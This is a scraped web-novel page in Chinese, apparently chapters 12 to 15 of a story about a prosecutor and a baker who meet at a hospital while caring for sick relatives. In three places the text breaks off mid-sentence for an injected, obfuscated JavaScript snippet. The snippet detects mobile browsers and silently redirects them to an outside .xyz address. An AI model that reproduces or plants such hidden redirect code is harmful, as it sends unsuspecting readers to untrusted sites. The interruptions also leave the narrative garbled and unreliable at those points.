沈灵均心里有这个底气:他具备做律师的职责素养和能力。如果他转行去做律师,以他的履历,市内这些刑辩业务出色的律所应该都不会拒绝他的加入。 但是,律师这个职业对他而言并不是很有吸引力——还没有格斗教练对于他的吸引力大。 不做检察官,能做什么?因为没有经济压力,所以于他而言,这个问题可以有很多种答案。他与李凌云不同,优越的家庭环境允许他挑战、允许他试错、甚至允许他虚度时光。但沈灵均却没法立刻选出一个最优解来。 不着急。沈灵均想,反正他也没有下定决心。 周五下午,沈灵均有个庭,罪名是走私、贩卖、运输、制造毒品罪,因为有三个被告人,案情也比较复杂,这个庭一直从下午一点半开到晚上七点半。庭审结束后,沈灵均拿出手机,发现李长乐的班主任宋颖给他打了七个电话,但因为他的手机在庭审期间一直是静音,他没接到这些电话。 沈灵均连忙给宋颖回了电话。宋颖说,李长乐下午逃课了,一直到现在都没有回来上学。或许是因为沈灵均一直没有接电话的缘故,宋颖的语气并不是很好:“长乐叔叔,我先是给长乐奶奶打电话,但是电话关机。我又在家长群艾特您,您又不回我,我没办法才给您打电话的。我能理解家长工作忙,但孩子现在已经上高三了,进入高中学习最后、也是最关键的阶段了,家长还是要多多关注孩子的情况。” 沈灵均在电话这头不受控地点头哈腰,连连称是。宋颖又道:“长乐叔叔,李长乐这学期第一次月考的成绩您看了没?” “看了,看了。” “物理、化学、数学,三科都没及格,三科加在一块都没够一百五十分,实在是太低了。总分一共才四百三十九分,去年咱们省物理类本科线是四百四十五,他的分数连本科线都没过,”宋颖说到这,沉默了两秒,才继续道:“我知道,长乐家庭环境比较复杂,但他同样需要家长的关心和照顾。在学业方面,更远的目标我们不谈,嗐,谈也不现实,但家长肯定希望孩子能考个本科吧?是不是,长乐叔叔?家长要敦促和监督孩子的学习。” “是,是,成绩的问题我会好好和孩子谈的。” 结束和宋颖的通话,沈灵均就给李长乐打了电话,没打通。李长乐的手机关机了。沈灵均于是直接去了李长乐的家,但他敲了好久的门也没人应。没人在家。 正当他急得团团转不知如何是好的时候,李长乐邻居家的门开了,一个头发花白的老太太从屋里探出头来:“我听你敲了好久的门,你认识这家的人?” 沈灵均点点头:“对,我是长乐的表叔。他家怎么没人呢?” “送医院去了!今天下午的事,三妹和她老头都让救护车给拉走了!她孙子应该也跟着去医院了。” 沈灵均心下一沉:“那您知道他们是被哪个医院的救护车拉走的吗?” 老太摇了摇头:“这我就不知道了。” 沈灵均朝老太倒了声谢,大步下了楼。五年前他给李长乐一家买房的时候,考虑到李斌许三妹都年事已高,特意选在这个惠民小区这个老旧小区买了房子——惠民小区虽旧,但地理位置极好,周边基础设施完善,交通方便,周边五公里内有四家三甲医院。李斌和许三妹现在八成也在这四家三甲医院中。 沈灵均先去了离惠民小区最近的容州大学第一附属医院,但护士在一番查证过后说他们医院没有收治叫李斌和许三妹的患者;沈灵均随后又去了容州第一医院,容州第一医院下午倒是收治了一个叫李斌的患者,但是沈灵均到病房一看,发现此李斌并非彼李斌,只是碰巧重名的人。 沈灵均一边在医院找人,一边轮流给李长乐和许三妹的手机打电话,但两个人的手机一直都是关机。 沈灵均去的第三家医院是容州人民医院,人民医院急诊部的护士告诉他,他们下午收治了名叫李斌和许三妹的患者,李斌如今住在神经内科的病房,而许三妹正在ICU病房接受治疗。两个人同时重名的可能性不大,沈灵均登时觉得这两个人就是他要找的两个人,连忙跑向住院部。最终,沈灵均在住院部一号楼811病房找到了李斌和李长乐。 811病房是个三人病房,李斌住在最靠近门的床位。沈灵均进门的时候,李斌在病床上紧闭着眼睛,似乎是睡着了,李长乐还醒着,看到他,他立刻从一旁的折叠床上坐了起来。此时已经是凌晨一点,沈灵均于是压低声音朝李长乐道:“我们去外面说话。” 李长乐默默站起了身,跟沈灵均来到了楼梯间。 “怎么回事?爷爷奶奶都生了什么病?我听护士说,奶奶现在还在ICU呢,情况很严重吗?” 李长乐低着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14419152|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“脑梗。送到医院的时候已经错过了最佳溶栓时间,只能做取栓手术,现在还在ICU,医生说梗死部分很大,左脑已经开始水肿,后续很可能还要做开颅手术,要在ICU住一段时间。” 沈灵均眉头抽动了一下,抬手轻轻拍了拍他的肩膀:“……爷爷呢?爷爷是怎么回事?” “救护车是我奶打的,救护车来了之后,急救人员看我爷没有自理能力,我奶当时神志也不大清醒了,他们觉得一时半会联系不上他们两个老人的家人,怕把我爷一个人扔在家里再出什么事,就把我爷一块拉到医院了。” “之前我爷已经咳嗽、低烧好几天了,我奶一直只说他是感冒。我到医院之后,感觉他咳嗽的比前几天还严重了,就让他做了检查,结果是肺炎,就也给他办了住院。医生说他年纪大了,肺部炎症很容易反复,他又有老年痴呆,吞咽功能下降,喉咙里容易堵痰,要定期做雾化,所以在他的炎症完全好之前不建议出院。” 沈灵均用力地捏了捏李长乐的肩:“你辛苦了。一个人处理这些事是不是很害怕?你……” 沈灵均本来想说“你应该第一时间给我打电话的”,但他很快想到,就算当时李长乐给他打了电话,他正在庭上,也接不到。于是改口道:“你手机关机了,是没电了吧,你来医院来得匆忙,是不是没带充电器?应该也没收拾你爷爷奶奶住院要用的东西吧。你要不先回一趟家,我在这守着,你今天晚上就回家去收拾东西,好好休息一晚,明天早上再来。今天晚上这里有我,你不用担心。正好明天是周六,我不上班,可以守夜。” 李长乐轻轻点点头。 沈灵均努力地把声音放柔:“我知道你接到医院通知的时候一定很焦急很无措,但是你应该先跟老师说一声再离开学校的。你不打招呼地就离开,老师很担心你。” 李长乐抬眼看向他,张口欲言。但他最后还是什么都没说,默默转开了脸。 “你手机没电了,那你身上有现金吗?能付打车钱吗?”说着,沈灵均打开包,想拿钱给李长乐。 李长乐轻轻地推了一下他的手:“我有钱。” 李长乐走后,沈灵均回到了811病房,坐在了李长乐租来的那张折叠床上。李斌依旧在熟睡,沈灵均盯着他苍老的面容看了一会,叹了一口气。 许三妹的病情这么严重,恐怕要做好接受最坏结果的心理准备,即使许三妹度过了这一劫,大概率也会丧失自理能力。在李斌老年痴呆卧病在床后,一直是许三妹负责照顾他。沈灵均曾经想给他们请个住家保姆,但被许三妹以她不习惯家里有外人、也不习惯别人伺候她的理由拒绝了。 然而现在这个情况,没法再考虑许三妹的意愿了,李长乐一个高三学生,不可能有余力照顾两个无法自理的老人,住家保姆是一定要请的。但住家保姆还是之后要考虑的问题,现在的当务之急是找两个护工——李斌和许三妹应该都要住一段时间院,总不能让李长乐一直不上学在医院护理。 沈灵均搓了搓脸:如果许三妹真有个三长两短可怎么办?李斌自从去年开始就已经无法说话,也无法认人,许三妹是李长乐如今唯一的依靠,如果她真的出了意外,沈灵均不敢想李长乐会受到多大的打击。 沈灵均心乱如麻。这时,一个女护士推着医疗车进了病房,她停在了病房中间的床位前,拿起药水核对道:“811,32床,王晖?” 一个男声答道:“对。” 可能是错觉,沈灵均觉得这个男声有点熟悉。 护士给32床换过药水之后就离开了。 过了一会,沈灵均听到咯吱一声轻响,随后房间里响起了轻微的脚步声,一个男人从31床前经过,视线交错间,两个人都有些意外。 戚玉衡小声道:“沈检?” 13.第 13 章 有句形容人与人之间缘分的俗语:前生五百次的回眸,才能换来今生的一次擦肩。如果这句话是真的,那戚玉衡相信,他上辈子的大半时间都用来看沈灵均了。 “小戚?”沈灵均压着声音:“你怎么在这?家里有人生病吗?” “是,n……你……”戚玉衡看向病床上的李斌:“和李爷爷是……” “他是我叔叔。” 两人又对视了一眼,随后,不约而同地露出了一个苦涩的笑。 戚玉衡犹豫了一会,弯下腰,在沈灵均坐着的那张折叠床的边缘坐了下来:“长乐回家去了?” “对。你们已经认识过了?” “嗯。” 因为病床床头有夜灯,所以即便现在熄了大灯,戚玉衡依旧能看清沈灵均的穿着——他还穿着检服,检服的胸口还别着一枚检徽。看他这个样子,他应该是下庭后连衣服都没来得及换就急急忙忙地赶来医院了。戚玉衡不知道沈灵均是什么时候代替李长乐陪床的,但他一个小时前去上厕所的时候李长乐还在,这么晚下班夜间又要陪床,真的是非常辛苦。 之前戚玉衡见沈灵均的那几面,只要两个人说上话,沈灵均脸上便会挂上温和得体的笑容,是个再好相处不过的人。但或许是因为沈灵均各方面的条件都太过优秀,整个人太过耀眼,即使两人面对面相处,戚玉衡依旧觉得两人之间的距离十分遥远。 但此时此刻,沈灵均满面愁容,神情疲惫,与戚玉衡之前每一次见到他的样子都不相同。即使他那么光芒万丈,但此时此刻,他也和他一样,只是一个为亲人病情担心的普通人。这让戚玉衡感觉自己与他之间的距离缩短了一些,和沈灵均相处时惯有的那种紧张感淡去了不少。 戚玉衡安慰他道:“之前医生跟长乐说爷爷的情况,我在一旁听到了。医生说爷爷肺部只是有些炎症,但是没有感染,只要把炎症消下去就可以出院了,你不要太担心。” 沈灵均缓缓点头:“……嗯。” 他盯着沉睡中的李斌看了一会,道:“长乐他奶奶还在ICU。” 戚玉衡愣住了:“……这个我没听长乐说。奶奶怎么了?” “脑梗。面积很大,医生说要在ICU住一段时间,之后说不定要开颅,情况不容乐观……” 沈灵均用指尖揉了揉眼睛,说话的声音几不可闻,戚玉衡于是只得又往他的方向靠近了一些坐着,用左耳对着他。 “他爷爷现在是这个样子,完全瘫痪在床,说不清话也不认人了。所以长乐很依赖他奶奶。……如果奶奶真的出了事,他内心一定会崩溃的。他还这么小,就要失去所有的亲人了。” 李斌和李长乐姓李,而沈灵均姓沈,因此在沈灵均说李斌是他的叔叔时,戚玉衡本以为沈灵均是随母姓才和李斌有不同的姓氏的。但听沈灵均话言下之意,沈灵均和李长乐似乎并没有血缘关系,而李长乐的父母也已经无法陪在他的身边——可能去世了,也可能因为什么其他原因。 死生面前,说什么都是虚言,说什么都显得苍白而无力。 “现在还没到最坏的时候,我们先往好处想,奶奶很可能顺顺利利地出ICU了呢?” 沈灵均微微勾起嘴角:“嗯。借你吉言。你呢?你家里的谁住院了?” “是照顾过我的邻居叔叔。” “啊,你之前说,你邻居家的一个哥哥现在看守所,所以……” 戚玉衡点点头:“就是他父亲。” “这是屋漏偏逢连夜雨啊。” “是啊。我这个叔叔也是脑梗,但在ICU待了一天就出来了,今天已经清醒了,虽然现在还说不了话,但医生说他状况挺好的,”戚玉衡把手放到沈灵均的小臂上方:“希望我能把这种好运传给你,希望奶奶能顺利地离开ICU。” 沈灵均低头看着他的手:“谢谢。对了,我师妹有跟我说,你委托她去会见了。怎么样?会见完了。” “还没有,邹律师说她明天……今天上午去会见。” 两个人聊了好一会后,沈灵均缓过神来:“你刚才是要出门吗?是要办什么事吗?我是不是耽误你了?” 戚玉衡摇摇头:“我就是想出去走走,活动活动手脚罢了,一直待在病床旁边挺拘束的的……今天是沈检你在这守夜吗?你要不要睡一会?我今天白天睡过了,晚上可以守夜,我看你好像是刚工作完就来医院的样子……晚上我帮你看着爷爷的情况就好,你休息一下吧。” 沈灵均摆摆手:“那怎么好意思?!我不是很累,没关系的。” 戚玉衡现在面对他没有之前那么紧张了:“你就不要跟我见外了。这有什么不好意思的?我本来就要给王叔看点滴,就是顺手的事,之前我听医生说爷爷今天晚上不需要输液了,我也不用做什么。你放心,要是爷爷有痰了、需要翻身了,我会叫你起来的。” 沈灵均看着他,随后露出了这次他们见面以来的第一个笑容:“……好。那真是谢谢你了。” “不用谢,”戚玉衡站起身,“你好好休息吧。” 李斌三点多的时候咳了一次,戚玉衡本来想自己给李斌拍痰的,但是沈灵均睡得很浅,李斌一咳嗽他就醒了,两个人合力给李斌翻了身拍了痰。五点多的时候李斌又咳了一次,同样,沈灵均又是立刻就醒了,之后再也没睡——在医院陪护就是这样,没法睡得安稳。 早上七点左右的时候,李长乐回来了,手里提着一兜早餐。他不只买了他们一家三人的份,还给戚玉衡二人和33床娄超夫妻带了。巧的是,十分钟之后,何秀红也来了,她也给全病房的人都带了早餐。 何秀红没见过沈灵均,有些好奇地打量着沈灵均:“你是……小李的……” “我是他叔叔。” 何秀红看着众人手里的早餐,有些拘谨地问:“大家都吃过了吗?” 沈灵均忙接过她手里的袋子:“还没呢,刚吃上。这是红糖馒头吗?我正想吃这个呢,刚吃了个包子,吃完咸的就想吃甜的。” 三户人家都把病房中的隔断帘拉开了,一边吃早饭一边聊起天来。 早餐吃到一半,戚玉衡听到李长乐跟沈灵均争执的声音。 沈灵均道:“长乐,下周你就回去上课吧。” 李长乐飞快地回答道:“我不回去。” “我让你回去上课不是因为别的,是我觉得你待在这里的意义不大,奶奶还在ICU,家属不能进去探视,你待在医院也没有用,爷爷这边,暂且只需要一些基础的护理,而这方面的事熟练的护工可以做得比你好,你说是不是?而且我也不是让你立刻回去上课,下周,你下周回去,不行吗?” 李长乐沉着声音:“你可以找护工,我不反对,但我就是想留在医院。我奶奶还在ICU里,你觉得我能安心在学校里学习吗?” “长乐……” 李长乐没有等沈灵均说完话,就猛地提高了声音:“我奶奶可能要死了!你觉得我现在可以安心在学校学习吗?这可能是我最后能看到奶奶的一段时光了,你让我去学校上课?你怎么想的!” 病房里一时没人出声。 过了几秒后,沈灵均才再次出声:“对不起。是我考虑得不够周到,忽略了你的心情。那这样吧,我看医院的特需套房还有空的,我们换到那种病房去吧,那种病房有专门的陪护床,也有桌子,你可以睡得舒服一些,也可以在医院写写作业、复习一下功课什么的。” 李长乐的声音变小了一些:“不用了,现在的病房挺好的。” “还是换特需吧,爷爷奶奶之后说不定要在医院住很久呢……” 李长乐的声音又一次变大了:“我都说了不要不要!你是聋了吗?” 戚玉衡此前一直是背对着二人,听到这的时候,终于忍不住回过头,看向李长乐。在昨天短短几个小时的相处中,李长乐给他留下了内向、腼腆、懂礼貌的印象。昨晚和沈灵均聊过天后,戚玉衡又觉得他孝顺且坚强。 怎么对着沈灵均,他像变了一个人似的,说话这么冲呢? 沈灵均没生气,还是在努力地和他商量:“换特需病房,不光能方便你,爷爷奶奶也能住得舒服些啊,你不要考虑钱的问……” “够了。我都说了不要了!你适可而止吧!” “……好,”沈灵均妥协了,“你也平复一下情绪吧。” 说完,沈灵均又看向他们的方向,有些歉然地说:“不好意思,打扰到你们了。” 李长乐随后也朝他们两床点头致意:“对不起……我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊……”张桂芝两手搓着自己的膝盖,笑容更大,脸上的纹路也变得深刻了许多:“是这样的,我女儿今年三十,在一家投资咨询公司做投资经理,现在也是单身,我看你们年龄挺合适的。真不是我吹呀,我女儿长得那是一个标致,她一个月也不少挣钱的,要不,我把她微信给你,小沈你和她加个微信,互相了解一下?” 戚玉衡听到这,转过头,继续给王晖喂粥。 昨天,张桂芝也曾像今天问沈灵均一般,问过他的个人信息。但是张桂芝并没有对他提起过自己的女儿,甚至在听说他是开面包店的后,张桂芝的态度就不复之前的热络,说了一句“挺好,现在开店才是最赚钱的”后,便没再主动和戚玉衡何秀红搭话。 看张桂芝现在对沈灵均的态度,戚玉衡更加清晰地意识到,自己这个“面包店老板”的职业被张桂芝嫌弃了。 戚玉衡知道,沈灵均的各方面条件都比他优秀太多太多:他相貌英俊,为人善良又彬彬有礼,工作稳定,他雄厚的财力也因为刚才和李长乐讨论特需病房的事在众人面前显露了出来——戚玉衡还知道,他是邹雅雯的师兄,在燕城大学法学院读了本硕,是万里挑一的高材生。 至于他?不提也罢。他与沈灵均之间的差距,如同云泥。 戚玉衡也知道,虽说俗语说职业不分高低贵贱,但现实是,什么都会分个高低贵贱。人出生前有各种级别的分娩服务,死亡后被烧在不同等级的炉子里,从生前到死后,什么都分三六九等。 在大多数人、尤其是老一辈人眼中,检察官就是比面包店店主更体面的好职业,这不是什么难以理解、不可接受的事。这种程度的轻视,在戚玉衡眼中根本就是无伤大雅的小事。如果他是敏感到要计较到这种小事的人,早就活不下去了。但不知道为什么,在这一刻,戚玉衡突然感觉自己被张桂芝的态度刺痛了。 他给王晖喂了一口粥,想:开面包店又怎么了?一样都是靠自己的劳动挣钱,一点也不丢人。而且张桂芝自己不都说了,现在开店才是最赚钱的,他们星星烘焙一天的营业额就比容州大多数公务员一个月的工资都高了。 这时,戚玉衡听到沈灵均道:“不了阿姨,我最近没有谈恋爱的打算,妹妹的缘分一定在更好的人身上。” 戚玉衡的心立刻雨过天晴了。 14.第 14 章 因为被沈灵均直接拒绝了,大约是觉得没了面子,张桂芝的语气立刻冷了下来:“哦,你还不打算谈恋爱啊,你都三十三了,还不着急啊。” “是啊,我不着急。” “你不着急,你爸妈也不着急?” 沈灵均收起了脸上的微笑:“是啊,我爸妈也不着急。” 张桂芝没再说话,只是撇了撇嘴,拧过身子不再看沈灵均了。 昨天张桂芝问戚玉衡个人情况的时候,何秀红也在,因此她也明显感觉到了张桂芝对待沈灵均戚玉衡二人态度上的不同,心中有些不满。这会见沈灵均让张桂芝没脸,心里痛快了不少,凑到戚玉衡身边跟戚玉衡咬耳朵:“热脸贴了个冷屁股。该!” 何秀红说完,伸手去接戚玉衡手中的粥碗:“我来我来,小戚,你赶紧回家休息吧。你今天晚上就不用来了,我昨天睡得很够,今天晚上可以守夜了。” 戚玉衡顺着何秀红的意思把粥碗递给了她,摇摇头:“不行,昨天睡得再好也不能连轴转二十四个小时呢,更何况何姨你都是六十岁的人了。我晚上来,给你们带晚饭,”戚玉衡没给何秀红插话的空间:“何姨,我现在好歹也自己做老板了,这点自由还是有的,您不用担心我的工作。叔叔也不会在医院住很久的,这段时间我们就轮换着照顾他吧,您一个人忙不过来的。” 戚玉衡又隐晦地看了沈灵均一眼,同何秀红道:“对了,何姨,那位沈先生,沈检,就是我跟您说过的那位帮我介绍律师的热心检察官。” “是他吗?那、那我是不是得好好谢谢人家?” 戚玉衡想了想:“不用了。我之前跟他道过谢了,我看人家没把这当成件大事,何姨您要是再去跟他道谢,他可能还会觉得有些为难呢。这段时间,我们多帮衬着长乐就好了。对了,邹律师说她今天上午就去见子睿哥,您让我给子睿哥带的话我都告诉邹律师了,顺利的话,她下午就会联系我了。” “好,好。” 给王晖喂完早饭,戚玉衡便打算回家了。看他要走,沈灵均道:“回家补觉吗?昨天真是麻烦你。” 戚玉衡连忙摆手:“没事的,只是顺带手的事。” 沈灵均朝他笑了笑:“你晚上还来医院吗?” “还来。” “那我们晚上见。” 戚玉衡点点头,心头忍不住涌上一丝雀跃:“好,我们……晚上见。” 戚玉衡刚离开811,就见徐莲从他前方不远处的一个病房走了出来,往热水房的方向走去。徐莲背朝着他,因此并没有看见他。戚玉衡上前几步看清了病房号,是807。 戚玉衡站在807门口犹豫了一会,随后去医院门口的超市买了一个老年奶粉礼盒、一个老年钙片礼盒,又买了好几种水果。他将这些东西提回了807,正当他拿出手机,想告诉徐莲自己在病房门口放了东西时,807病房的门就开了。乔瑜从里面走了出来。 两个人直接打了个照面,俱是一愣。 乔瑜的脸色在刹那间阴沉了下来:“……你怎么在这?” 乔瑜瞥了一眼门边的东西:“你是来探病的?” 戚玉衡忙否认道:“不是,我不是,我就是来送点东西,只是凑巧,我……” 乔瑜不等他说完,就打断他道:“拿着你的东西走,我们家不需要你来送东西。” 戚玉衡本来还想说两句好话让乔瑜把东西留下,但他觑着乔瑜的脸色,很快就打消了这个念头,把买好的东西全部拿了起来:“对不起。我、但我没有恶意,我也不是想打扰你们的生活,我就是看到……” 乔瑜十分不耐地说道:“如果你真的这么想,就应该再也不要出现在我们一家人的面前!别自以为是了,行吗?能不能麻烦你只以姓名的形式出现在我们家银行卡的转账记录里?做到这件事很难吗?” 乔瑜冷笑一声:“怎么,需要我跪下来求你吗?” 乔瑜扫了一眼他手里的东西:“要是知道吃的是你送来的东西,我爷爷吃了也会想吐的。说不定病情变得更重了。我今天最后说一次,我们一家人,不想和你有金钱以外的任何牵扯,以后如果你在大街上看到我们,麻烦也不要上来打招呼,可以吗?你绕着走,行吗?” 戚玉衡缓缓点了点头:“……我知道了。我记住了。” 乔瑜长出一口气,说:“你最好是记住了。” 说完,乔瑜顿了一会,才道:“和你扯上关系,真是我这辈子最后悔的一件事,”乔瑜看着他:“你叫什么玉衡啊。叫丧门才更合适啊。” 戚玉衡抿紧唇,垂着头,眼神落在他买的那些水果身上。他想,他买了蓝莓,既然送不出去,那明天他就直接带去店里用来做蓝莓酱。他想,医院门口的超市水果质量真的不太行,蓝莓十九块九一盒,但是果径却特别小,真不划算。 他想,他应该在看到乔瑜的那一刻就把助听器拿下来。 良久,感觉出乔瑜似乎没有再说话的意思,戚玉衡才抬起了头,他道:“那我先……” 随后,他眼角的余光瞥见了沈灵均。他慢慢转过头去。 对方显然刚从811走出来,身旁还有几位医生,脸上的表情是显而易见的惊诧。刚才乔瑜说话的声音并不算小,这个距离,他很可能听见了乔瑜说的所有话。 戚玉衡感觉到了一股前所未有的、强烈的难堪。他面皮发烫,手也发起抖来,他甚至感觉到左耳出现了短暂地耳鸣,他艰难地把想说的话说完——“先走了”——随后转身就走——跑。他感受到身边的风景急速地后退,变成一团一团流线型的色块。 医院的电梯永远需要等,他来回看了看,随后几乎整个人撞在楼梯间的门上,推门跑下了楼。一直到跑出人民医院大门,他才停脚开始歇气。难堪、羞耻、懊悔……或许还有一点委屈,无数的情绪糅杂在他心头。他现在一点也不想和沈灵均“晚上见”了。 天啊,他们居然晚上还会见。 戚玉衡垂头丧气地乘上地铁回了家。或许是因为□□和精神上的双重疲惫,回到家后他一沾上床就睡着了。 因为入睡前的他心神不定、精神恍惚,戚玉衡忘了定闹钟。久未得到充足睡眠的身体如饥似渴,戚玉衡再次睁开眼睛的时候,房间内一片漆黑,段俊已经在他头顶上打起了呼噜。戚玉衡打开手机一看,发现时间已经过了晚上十二点,他一口气睡了十五个小时。 他手机里攒了不少未读消息:邹雅雯在下午六点的时候给他发了消息,问他方不方便和她通个电话;何秀红在晚上十点多的时候给他发了一条语音,说他一定很累,叫他晚上不要再去医院了;牛明星也发了消息问王晖的病情和律师会见的情况。 还有沈灵均,他问他,晚上怎么没有来,是出了什么事还是太累了。 戚玉衡先回复了其他人的消息,最后才打开沈灵均的对话框: 【戚玉衡:单纯睡过头了[捂脸]这就来了。】 沈灵均回给他一个两只小猫抱抱的表情包。 戚玉衡将这个表情包保存了下来,随后赶往医院。他到医院的时候,沈灵均、李长乐和一个陌生男人正站在811门口。沈灵均显然是回过家了,换掉了之前那身检服,穿了一身很休闲的衣服。白色的打底衫,黑色休闲裤,外套一件驼色的长风衣,整个人看上去利落而潇洒。 戚玉衡听见李长乐道:“只用请一个护工跟我轮班就可以了。” 沈灵均皱着眉:“你一个人护理爷爷,任务实在太重了。” “怎么就重了?爷爷之前在家的时候,也是我和奶奶一起护理的。” “你也说了,爷爷在家的时候,是你和奶奶一起护理的。现在奶奶生着病,你一个人护理很困难,给爷爷翻身、给爷爷擦身、给爷爷换衣服换尿垫……一个人做都很麻烦,还是两个人轻松些。” “我自己可以。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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李长乐犹豫了一会,点点头,但他还是在和沈灵均唱反调:“我自己可以回去……不用麻烦你。” “这么晚了,你一个人回家不安全。” “有什么不安全的?我一个男生,能有什么事?” “我不放心……” 李长乐不为所动:“没关系。你回去吧,我自己回去。” 沈灵均定定地看了李长乐一会,没再说话,转身走了。 病房里安静了下来。沈灵均离开差不多半个小时后,李长乐也走了。 李长乐走后,戚玉衡一边给王晖看点滴,一边在心里犯着嘀咕:沈灵均虽然不是李长乐的亲叔叔,但是胜似亲叔叔,对待李长乐温柔又耐心,而听二人的对话,李长乐爷爷奶奶的医药费大概率也都是沈灵均出的钱。 但李长乐对待沈灵均的态度,实在是让戚玉衡有些难以理解。这孩子明明对其他人都很礼貌,但是只要对上沈灵均,他就一身反骨,言语间也总会若有若无地带些火药味。可戚玉衡也不觉得李长乐讨厌沈灵均,虽然他总是和沈灵均呛声,但是戚玉衡并没有在李长乐的举止中感觉到他对沈灵均的恶意。 是李长乐到了叛逆期吗? 一个孝顺,但多少有一点不识好歹的孩子。戚玉衡想。 因为王晖晚上要输液,戚玉衡整晚都得醒着。即使戚玉衡早已经习惯了短暂的睡眠,但熬一整夜对于他来说依旧不是件容易的事,他时不时就去走廊活动下腿脚,在伸展身体的同时帮助自己保持清醒。 凌晨一点半左右,护士给王晖换了液后,戚玉衡起身到走廊里踱步。当他走到走廊尽头的时候,听到了从楼梯间传来的哭声。他觉得那个声音有点熟悉。 戚玉衡转了个身,用左耳贴在楼梯间的门上。他听了一会,犹豫了半晌,最终下定了决心,轻轻地将楼梯间的门推开了一个缝往里看去。 和他想的一样,在楼梯间哭的人是李长乐。 15.第 15 章 戚玉衡慢慢把门推开,轻声叫他:“长乐。” 李长乐原本是坐在楼梯台阶上哭的,听到戚玉衡的声音后便立刻站了起来,回过头道:“……戚哥。” 李长乐是个圆脸,长得很显嫩,如今这个眼眶通红、满脸泪痕的样子,更让他看上去比实际年龄小了好几岁,看着就像个十三四岁的孩子。戚玉衡的心一下子就变得很软很软——他还没有成年,父母就已经不在他的身边,爷爷老年痴呆瘫痪在床,如今奶奶也进了重症监护室……他一定很害怕孤身一人的生活吧。像他当年一样。 戚玉衡走上前搂住他的肩:“没事的,没事的……奶奶她吉人自有天相,一定会没事的。” 李长乐吸着鼻子,点点头。 “我还以为你回家了呢,怎么在这哭?” 李长乐先是抽噎了两下,才说:“我本来想回家的,但……但我害怕。我害怕我一回家……奶奶就走了。那样的话,我就来不及、来不及见她最后一面……” 戚玉衡揉了揉他的后脑勺:“……那我们就去租张床,你今天在走廊里睡,好不好?” 李长乐揪着戚玉衡后背上的衣服,哭得更厉害了:“我真的……医生说,奶奶出事那天,肯定很早就开始难受了。我真的好后悔。奶奶没跟我说,我也没有发现,如果我发现就好了……如果我多多关心奶奶就好了……” 李长乐哭着哭着,跟站不住一样的往地上坐,戚玉衡连忙扶着他坐到台阶上,安慰道:“不是你的错长乐,没人想这样,出现症状的时候,奶奶可能觉得是小问题、是正常的老年病,没必要告诉你……奶奶不知道、谁也不知道会这样的,你不要自责。现在医学很发达的,我们又在容州人民医院这种有名的医院,奶奶一定能平安离开ICU的。” 戚玉衡又安慰了李长乐一会,李长乐才慢慢止住了眼泪。李长乐这时觉得有些不好意思了,垂着头,小声道:“不好意思啊戚哥……让你看我笑话了。” “这怎么是笑话呢,谁遇到这种情况都会哭的,”戚玉衡将他的身体把自己的怀里带了带,“你已经很坚强了。走,我们去租床。” 租好床后,看李长乐没有入睡的意思,戚玉衡回病房里查看了一下王晖输液的情况,便又来到走廊和李长乐聊天。 “你之前说你高三,那你高考科目是怎么选的呀?现在高中都是这种选科制了吗,可以选择自己喜欢的科目,想考哪科便考哪科?” 李长乐盯着自己的手指:“要是真这么简单就好了。” “这怎么说?” “还是和以前文理分科的时候差不多,选了历史类,高考时候能报的专业就比较少,选物理类,能报的专业就多。” 戚玉衡听出了李长乐的言外之意:“所以,因为考虑到就业,你没有选择你自己喜欢的科目?你选了什么科目?” “……物化政。” “因为这么选科能报的专业最多?” 李长乐点点头。 “那你现在……学习学得开心吗?” 李长乐耸耸肩,小声嘟囔道:“就算选了自己喜欢的科目,学习也不会开心吧?学习就不可能开心的。” 戚玉衡忍不住笑了:“你说得对。” 李长乐表情有些不自然:“……我成绩很差。” “没关系的,你不是才上高三吗?你还有一整年的时间呢,我读高中的时候,有很多同学都是在高三冲刺阶段突飞猛进,最后高考考了好成绩的。” “但我现在的成绩连本科线都达不到。我真的有在用心听课,没有在上课的时候走神贪玩,作业也一直有在认真做,但是成绩还是很差,”李长乐又揩了下眼角,“可能因为我笨吧。奶奶之前还说,想看我考上大学的样子,现在奶奶她生病了……而我可能也考不上大学。” “别这么悲观,你才刚刚上高三,你现在说考不上大学这种话,实在是太早了,”戚玉衡说到这,顿了一下:“你在学习上的烦恼,有跟你叔叔说吗?” 李长乐摇了摇头。 戚玉衡试探着说:“或许……你可以把这方面的烦恼跟他说一说,他很关心你。他高中的时候学习成绩应该也很好,或许他可以给你一些建议呢。” 李长乐一时没说话。 就在戚玉衡怀疑自己说错了话的时候,李长乐开口道:“他是个好人。但是我跟他不太亲近。” 李长乐的话到此就戛然而止,他似乎也没有再说下去的意思。戚玉衡没有再去问他们两个不亲近的原因,换了个话题道:“我记得你之前说过,你这个月就成年了,你是哪天生日?” “24号。” “那你很可能要在医院过生日了啊。你想要一个什么样的成年礼蛋糕?你可以到网上搜一搜蛋糕的样式,你生日的时候我给你做一个一样的。” “不用的,”李长乐忙道:“不用麻烦戚哥你。我……我现在也没有什么心思过生日。” “一点也不麻烦,这是我的特长啊,我可是靠手艺吃饭的,做蛋糕这种事,对我来说就是洒洒水。十八岁生日是个很重要的生日,如果你奶奶没生病的话,一定也会为你好好庆祝的。更何况我们也不是要大操大办,就是在医院里吃个蛋糕而已。你别拒绝啦。” 